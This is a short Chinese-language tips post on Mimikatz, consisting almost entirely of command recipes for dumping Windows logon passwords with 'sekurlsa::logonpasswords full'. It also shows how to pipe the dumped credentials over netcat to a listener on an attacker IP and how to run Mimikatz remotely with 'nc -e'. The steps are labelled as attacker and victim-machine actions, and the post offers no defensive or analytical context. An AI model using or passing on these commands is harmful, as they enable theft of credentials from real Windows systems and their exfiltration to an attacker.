大家都知道Mimikatz绝对是一款神器,这里就简单介绍下Mimikatz的使用小技巧~
1.记录 Mimikatz输出:
C:\>mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir
2.将输出导入到本地文件:
C:\>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
3.将输出传输到远程机器:
攻击者执行:
E:\>nc -lvp 4444
靶机执行:
C:\>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit nc.exe -vv 192.168.52.1 4444
192.168.52.1 为攻击者IP
4.通过nc远程执行Mimikatz:
靶机执行:
C:\>nc -lvp 443
攻击者执行:
E:\>nc.exe -vv 192.168.52.128 443 -e mimikatz.exe
192.168.52.128 为靶机 IP